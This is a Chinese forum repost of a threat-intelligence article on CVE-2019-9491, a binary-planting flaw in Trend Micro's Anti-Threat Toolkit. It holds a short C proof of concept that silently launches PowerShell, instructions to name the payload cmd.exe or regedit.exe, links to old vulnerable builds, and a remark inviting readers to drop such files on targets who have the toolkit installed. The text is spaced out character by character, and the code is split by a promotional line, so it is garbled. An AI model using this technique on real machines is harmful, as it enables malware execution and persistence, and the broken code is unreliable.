搜索

[79] 2019-10-27_趋势科技威胁工具包存在任意代码执行漏洞，漏洞成因略无语

文档创建者：s7ckTeam
浏览次数：73
最后更新：2025-01-15
2019-10-27_趋势科技威胁工具包存在任意代码执行漏洞，漏洞成因略无语 趋 势 科 技 威 胁 工 具 包 存 在 任 意 代 码 执 行 漏 洞 ， 漏 洞 成 因 略 无 语 A d m i n   T e a m   2 0 1 9 - 1 0 - 2 7 以 下 文 章 来 源 于 黑 鸟 威 胁 情 报 中 心   ， 作 者 黑 鸟 点 击 蓝 字 点 击 蓝 字 关 注 黑 鸟 关 注 黑 鸟 研 究 人 员 发 现 趋 势 科 技 防 威 胁 工 具 包 （ A T T K ） 存 在 任 意 代 码 执 行 漏 洞 C V E - 2 0 1 9 - 9 4 9 1 ， 攻 击 者 可 利 用 此 漏 洞 在 目 标 W i n d o w s 系 统 上 运 行 恶 意 软 件 。 由 于 A T T K 是 由 经 过 验 证 的 发 行 方 签 名 的 ， 因 此 可 绕 过 任 何 M O T W 安 全 警 告 ， 攻 击 者 甚 至 可 以 将 A T T K 作 为 一 种 持 久 性 机 制 。 [ E x p l o i t / P O C ] C o m p i l e   a n   . E X E   u s i n g   b e l o w   " C "   c o d e   a n d   u s e   n a m i n g   c o n v e n t i o n   o f   " c m d . e x e "   o r   " r e g e d i t . e x e " . R u n   t h e   A n t i - T h r e a t   T o o l k i t   a n d   w a t c h   t h e   A T T K   c o n s o l e   t o   s e e   t h e   T r o j a n   f i l e   g e t   l o a d e d   a n d   e x e c u t e d . 将 恶 意 软 件 命 名 为 c m d . e x e 或 r e g e d i t . e x e ， A T T K 将 会 加 载 并 运 行 该 文 件 # i n c l u d e   < w i n d o w s . h > v o i d   m a i n ( v o i d ) {       p u t s ( " T r e n d   M i c r o   A n t i - T h r e a t   T o o l k i t   P W N E D ! " ) ;       p u t s ( " D i s c o v e r y :   h y p 3 r l i n x " ) ;       p u t s ( " C V E - 2 0 1 9 - 9 4 9 1 n " ) ; 黑 鸟 威 胁 情 报 中 心 黑 鸟 威 胁 情 报 中 心   . 黑 鸟 威 胁 情 报 中 心 下 属 分 局 ， 专 注 严 肃 情 报 输 出
      W i n E x e c ( " p o w e r s h e l l " ,   0 ) ; } P O C 下 载 h t t p : / / h y p 3 r l i n x . a l t e r v i s t a . o r g / a d v i s o r i e s / T R E N D - M I C R O - A N T I - T H R E A T - T O O L K I T - ( A T T K ) - R E M O T E - C O D E - E X E C U T I O N . t x t 而 旧 版 本 应 该 还 可 用 ， 以 及 将 c m d . e x e 或 r e g e d i t . e x e 为 命 名 的 恶 意 软 件 投 放 到 目 标 设 备 ， 也 许 都 收 获 一 份 惊 喜 。 ( 前 提 是 知 道 目 标 有 装 ) 顺 便 推 荐 一 下 这 哥 们 的 博 客 ， 全 是 他 发 现 的 0 d a y 漏 洞 ， 学 习 学 习 。 链 接 ： h t t p : / / h y p 3 r l i n x . a l t e r v i s t a . o r g / a t t k _ c o l l e c t o r _ c l i _ x 6 4 . e x e H a s h :   e 8 5 0 3 e 9 8 9 7 f d 5 6 e a c 0 c e 3 c 3 f 6 d b 2 4 f b 1 T r e n d M i c r o R a n s o m w a r e C o l l e c t o r 6 4 . r 0 9 . e x e H a s h :   7 9 8 0 3 9 0 2 7 b b 4 3 6 3 d c f d 2 6 4 c 1 4 2 6 7 3 7 5 f a t t k _ S c a n C l e a n O n l i n e _ g u i _ x 6 4 . e x e H a s h :   f 1 d 2 c a 4 b 1 4 3 6 8 9 1 1 c 7 6 7 8 7 3 c d b c 1 9 4 e d
扫 码 关 注 公 众 号 点 个 赞 ， 每 日 一 个 威 胁 情 报 故 事 点 个 赞 ， 每 日 一 个 威 胁 情 报 故 事
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理